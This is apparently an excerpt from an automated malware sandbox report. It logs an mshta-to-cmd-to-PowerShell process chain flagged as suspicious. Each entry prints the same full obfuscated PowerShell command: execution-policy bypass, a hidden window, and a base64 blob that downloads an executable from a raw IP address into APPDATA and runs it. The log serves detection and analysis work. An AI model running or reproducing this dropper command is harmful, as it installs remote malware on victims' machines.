Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" "/c POWERsHElL.exe -ex BypAss -nop -w 1 -c DEViCEcReDEnTiaLdEPLOYmEnT ; IEx($(Iex('[SysTem.tEXt.ENCoDINg]'+[CHar]0x3A+[ChaR]58+'Utf8.GEtStRING([sYSTem.COnverT]'+[CHAr]0X3A+[CHAr]0x3A+'fRoMbASe64strinG('+[Char]34+'JDF6SUdOc3cgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhZEQtdFlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbUVNYmVyZGVmaU5JVElvbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidXJsbW9uIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByTVh2eVRsVnFGLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBvLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBQQ2csdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBrRnZHWHFFdGdOLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBIeCk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFNRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZGIiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1lU3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeUFqVFB0cCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQxeklHTnN3OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTA3LjE3My4xNDMuNDYvVDI1MDdGL2NzcnNzLmV4ZSIsIiRFbnY6QVBQREFUQVx3aW5pdGkuZXhlIiwwLDApO1N0QXJULXNMZUVwKDMpO3NUQVJUICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW5WOkFQUERBVEFcd2luaXRpLmV4ZSI='+[CHAr]34+'))')))"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe POWERsHElL.exe -ex BypAss -nop -w 1 -c DEViCEcReDEnTiaLdEPLOYmEnT ; IEx($(Iex('[SysTem.tEXt.ENCoDINg]'+[CHar]0x3A+[ChaR]58+'Utf8.GEtStRING([sYSTem.COnverT]'+[CHAr]0X3A+[CHAr]0x3A+'fRoMbASe64strinG('+[Char]34+'JDF6SUdOc3cgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhZEQtdFlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbUVNYmVyZGVmaU5JVElvbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidXJsbW9uIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByTVh2eVRsVnFGLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBvLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBQQ2csdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBrRnZHWHFFdGdOLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBIeCk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFNRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZGIiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1lU3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeUFqVFB0cCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQxeklHTnN3OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTA3LjE3My4xNDMuNDYvVDI1MDdGL2NzcnNzLmV4ZSIsIiRFbnY6QVBQREFUQVx3aW5pdGkuZXhlIiwwLDApO1N0QXJULXNMZUVwKDMpO3NUQVJUICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW5WOkFQUERBVEFcd2luaXRpLmV4ZSI='+[CHAr]34+'))')))"
Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" "/c POWERsHElL.exe -ex BypAss -nop -w 1 -c DEViCEcReDEnTiaLdEPLOYmEnT ; IEx($(Iex('[SysTem.tEXt.ENCoDINg]'+[CHar]0x3A+[ChaR]58+'Utf8.GEtStRING([sYSTem.COnverT]'+[CHAr]0X3A+[CHAr]0x3A+'fRoMbASe64strinG('+[Char]34+'JDF6SUdOc3cgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhZEQtdFlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbUVNYmVyZGVmaU5JVElvbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidXJsbW9uIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByTVh2eVRsVnFGLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBvLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBQQ2csdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBrRnZHWHFFdGdOLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBIeCk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFNRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZGIiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1lU3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeUFqVFB0cCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQxeklHTnN3OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTA3LjE3My4xNDMuNDYvVDI1MDdGL2NzcnNzLmV4ZSIsIiRFbnY6QVBQREFUQVx3aW5pdGkuZXhlIiwwLDApO1N0QXJULXNMZUVwKDMpO3NUQVJUICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW5WOkFQUERBVEFcd2luaXRpLmV4ZSI='+[CHAr]34+'))')))" Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe POWERsHElL.exe -ex BypAss -nop -w 1 -c DEViCEcReDEnTiaLdEPLOYmEnT ; IEx($(Iex('[SysTem.tEXt.ENCoDINg]'+[CHar]0x3A+[ChaR]58+'Utf8.GEtStRING([sYSTem.COnverT]'+[CHAr]0X3A+[CHAr]0x3A+'fRoMbASe64strinG('+[Char]34+'JDF6SUdOc3cgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhZEQtdFlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbUVNYmVyZGVmaU5JVElvbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidXJsbW9uIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByTVh2eVRsVnFGLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBvLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBQQ2csdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBrRnZHWHFFdGdOLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBIeCk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFNRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZGIiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1lU3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeUFqVFB0cCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQxeklHTnN3OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTA3LjE3My4xNDMuNDYvVDI1MDdGL2NzcnNzLmV4ZSIsIiRFbnY6QVBQREFUQVx3aW5pdGkuZXhlIiwwLDApO1N0QXJULXNMZUVwKDMpO3NUQVJUICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW5WOkFQUERBVEFcd2luaXRpLmV4ZSI='+[CHAr]34+'))')))" Jump to behavior
Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" "/c POWERsHElL.exe -ex BypAss -nop -w 1 -c DEViCEcReDEnTiaLdEPLOYmEnT ; IEx($(Iex('[SysTem.tEXt.ENCoDINg]'+[CHar]0x3A+[ChaR]58+'Utf8.GEtStRING([sYSTem.COnverT]'+[CHAr]0X3A+[CHAr]0x3A+'fRoMbASe64strinG('+[Char]34+'JDF6SUdOc3cgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhZEQtdFlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbUVNYmVyZGVmaU5JVElvbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidXJsbW9uIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByTVh2eVRsVnFGLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBvLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBQQ2csdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBrRnZHWHFFdGdOLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBIeCk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFNRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZGIiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1lU3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeUFqVFB0cCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQxeklHTnN3OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTA3LjE3My4xNDMuNDYvVDI1MDdGL2NzcnNzLmV4ZSIsIiRFbnY6QVBQREFUQVx3aW5pdGkuZXhlIiwwLDApO1N0QXJULXNMZUVwKDMpO3NUQVJUICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW5WOkFQUERBVEFcd2luaXRpLmV4ZSI='+[CHAr]34+'))')))" Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe POWERsHElL.exe -ex BypAss -nop -w 1 -c DEViCEcReDEnTiaLdEPLOYmEnT ; IEx($(Iex('[SysTem.tEXt.ENCoDINg]'+[CHar]0x3A+[ChaR]58+'Utf8.GEtStRING([sYSTem.COnverT]'+[CHAr]0X3A+[CHAr]0x3A+'fRoMbASe64strinG('+[Char]34+'JDF6SUdOc3cgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhZEQtdFlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbUVNYmVyZGVmaU5JVElvbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidXJsbW9uIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByTVh2eVRsVnFGLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBvLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBQQ2csdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBrRnZHWHFFdGdOLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBIeCk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFNRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZGIiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1lU3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeUFqVFB0cCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQxeklHTnN3OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTA3LjE3My4xNDMuNDYvVDI1MDdGL2NzcnNzLmV4ZSIsIiRFbnY6QVBQREFUQVx3aW5pdGkuZXhlIiwwLDApO1N0QXJULXNMZUVwKDMpO3NUQVJUICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW5WOkFQUERBVEFcd2luaXRpLmV4ZSI='+[CHAr]34+'))')))"
Suspicious command line found
Source: C:\Windows\System32\mshta.exe Process created: "C:\Windows\system32\cmd.exe" "/c POWERsHElL.exe -ex BypAss -nop -w 1 -c DEViCEcReDEnTiaLdEPLOYmEnT ; IEx($(Iex('[SysTem.tEXt.ENCoDINg]'+[CHar]0x3A+[ChaR]58+'Utf8.GEtStRING([sYSTem.COnverT]'+[CHAr]0X3A+[CHAr]0x3A+'fRoMbASe64strinG('+[Char]34+'JDF6SUdOc3cgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhZEQtdFlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbUVNYmVyZGVmaU5JVElvbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidXJsbW9uIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByTVh2eVRsVnFGLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBvLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBQQ2csdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBrRnZHWHFFdGdOLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBIeCk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFNRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZGIiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1lU3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeUFqVFB0cCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQxeklHTnN3OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTA3LjE3My4xNDMuNDYvVDI1MDdGL2NzcnNzLmV4ZSIsIiRFbnY6QVBQREFUQVx3aW5pdGkuZXhlIiwwLDApO1N0QXJULXNMZUVwKDMpO3NUQVJUICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW5WOkFQUERBVEFcd2luaXRpLmV4ZSI='+[CHAr]34+'))')))"
Source: C:\Windows\System32\mshta.exe Process created: "C:\Windows\system32\cmd.exe" "/c POWERsHElL.exe -ex BypAss -nop -w 1 -c DEViCEcReDEnTiaLdEPLOYmEnT ; IEx($(Iex('[SysTem.tEXt.ENCoDINg]'+[CHar]0x3A+[ChaR]58+'Utf8.GEtStRING([sYSTem.COnverT]'+[CHAr]0X3A+[CHAr]0x3A+'fRoMbASe64strinG('+[Char]34+'JDF6SUdOc3cgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhZEQtdFlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbUVNYmVyZGVmaU5JVElvbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidXJsbW9uIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByTVh2eVRsVnFGLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBvLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBQQ2csdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBrRnZHWHFFdGdOLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBIeCk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFNRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZGIiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1lU3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeUFqVFB0cCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQxeklHTnN3OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTA3LjE3My4xNDMuNDYvVDI1MDdGL2NzcnNzLmV4ZSIsIiRFbnY6QVBQREFUQVx3aW5pdGkuZXhlIiwwLDApO1N0QXJULXNMZUVwKDMpO3NUQVJUICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW5WOkFQUERBVEFcd2luaXRpLmV4ZSI='+[CHAr]34+'))')))"
Source: C:\Windows\System32\mshta.exe Process created: "C:\Windows\system32\cmd.exe" "/c POWERsHElL.exe -ex BypAss -nop -w 1 -c DEViCEcReDEnTiaLdEPLOYmEnT ; IEx($(Iex('[SysTem.tEXt.ENCoDINg]'+[CHar]0x3A+[ChaR]58+'Utf8.GEtStRING([sYSTem.COnverT]'+[CHAr]0X3A+[CHAr]0x3A+'fRoMbASe64strinG('+[Char]34+'JDF6SUdOc3cgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhZEQtdFlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbUVNYmVyZGVmaU5JVElvbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidXJsbW9uIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByTVh2eVRsVnFGLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBvLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBQQ2csdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBrRnZHWHFFdGdOLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBIeCk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFNRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZGIiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1lU3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeUFqVFB0cCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQxeklHTnN3OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTA3LjE3My4xNDMuNDYvVDI1MDdGL2NzcnNzLmV4ZSIsIiRFbnY6QVBQREFUQVx3aW5pdGkuZXhlIiwwLDApO1N0QXJULXNMZUVwKDMpO3NUQVJUICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW5WOkFQUERBVEFcd2luaXRpLmV4ZSI='+[CHAr]34+'))')))" Jump to behavior
Source: C:\Windows\System32\mshta.exe Process created: "C:\Windows\system32\cmd.exe" "/c POWERsHElL.exe -ex BypAss -nop -w 1 -c DEViCEcReDEnTiaLdEPLOYmEnT ; IEx($(Iex('[SysTem.tEXt.ENCoDINg]'+[CHar]0x3A+[ChaR]58+'Utf8.GEtStRING([sYSTem.COnverT]'+[CHAr]0X3A+[CHAr]0x3A+'fRoMbASe64strinG('+[Char]34+'JDF6SUdOc3cgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhZEQtdFlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbUVNYmVyZGVmaU5JVElvbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidXJsbW9uIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByTVh2eVRsVnFGLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBvLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBQQ2csdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBrRnZHWHFFdGdOLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBIeCk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFNRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZGIiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1lU3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeUFqVFB0cCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQxeklHTnN3OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTA3LjE3My4xNDMuNDYvVDI1MDdGL2NzcnNzLmV4ZSIsIiRFbnY6QVBQREFUQVx3aW5pdGkuZXhlIiwwLDApO1N0QXJULXNMZUVwKDMpO3NUQVJUICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW5WOkFQUERBVEFcd2luaXRpLmV4ZSI='+[CHAr]34+'))')))" Jump to behavior
Suspicious powershell command line found
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe POWERsHElL.exe -ex BypAss -nop -w 1 -c DEViCEcReDEnTiaLdEPLOYmEnT ; IEx($(Iex('[SysTem.tEXt.ENCoDINg]'+[CHar]0x3A+[ChaR]58+'Utf8.GEtStRING([sYSTem.COnverT]'+[CHAr]0X3A+[CHAr]0x3A+'fRoMbASe64strinG('+[Char]34+'JDF6SUdOc3cgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhZEQtdFlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbUVNYmVyZGVmaU5JVElvbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidXJsbW9uIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByTVh2eVRsVnFGLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBvLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBQQ2csdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBrRnZHWHFFdGdOLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBIeCk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFNRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZGIiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1lU3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeUFqVFB0cCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQxeklHTnN3OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTA3LjE3My4xNDMuNDYvVDI1MDdGL2NzcnNzLmV4ZSIsIiRFbnY6QVBQREFUQVx3aW5pdGkuZXhlIiwwLDApO1N0QXJULXNMZUVwKDMpO3NUQVJUICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW5WOkFQUERBVEFcd2luaXRpLmV4ZSI='+[CHAr]34+'))')))"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe POWERsHElL.exe -ex BypAss -nop -w 1 -c DEViCEcReDEnTiaLdEPLOYmEnT ; IEx($(Iex('[SysTem.tEXt.ENCoDINg]'+[CHar]0x3A+[ChaR]58+'Utf8.GEtStRING([sYSTem.COnverT]'+[CHAr]0X3A+[CHAr]0x3A+'fRoMbASe64strinG('+[Char]34+'JDF6SUdOc3cgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhZEQtdFlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbUVNYmVyZGVmaU5JVElvbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidXJsbW9uIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByTVh2eVRsVnFGLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBvLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBQQ2csdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBrRnZHWHFFdGdOLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBIeCk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFNRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZGIiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1lU3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeUFqVFB0cCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQxeklHTnN3OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTA3LjE3My4xNDMuNDYvVDI1MDdGL2NzcnNzLmV4ZSIsIiRFbnY6QVBQREFUQVx3aW5pdGkuZXhlIiwwLDApO1N0QXJULXNMZUVwKDMpO3NUQVJUICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW5WOkFQUERBVEFcd2luaXRpLmV4ZSI='+[CHAr]34+'))')))"
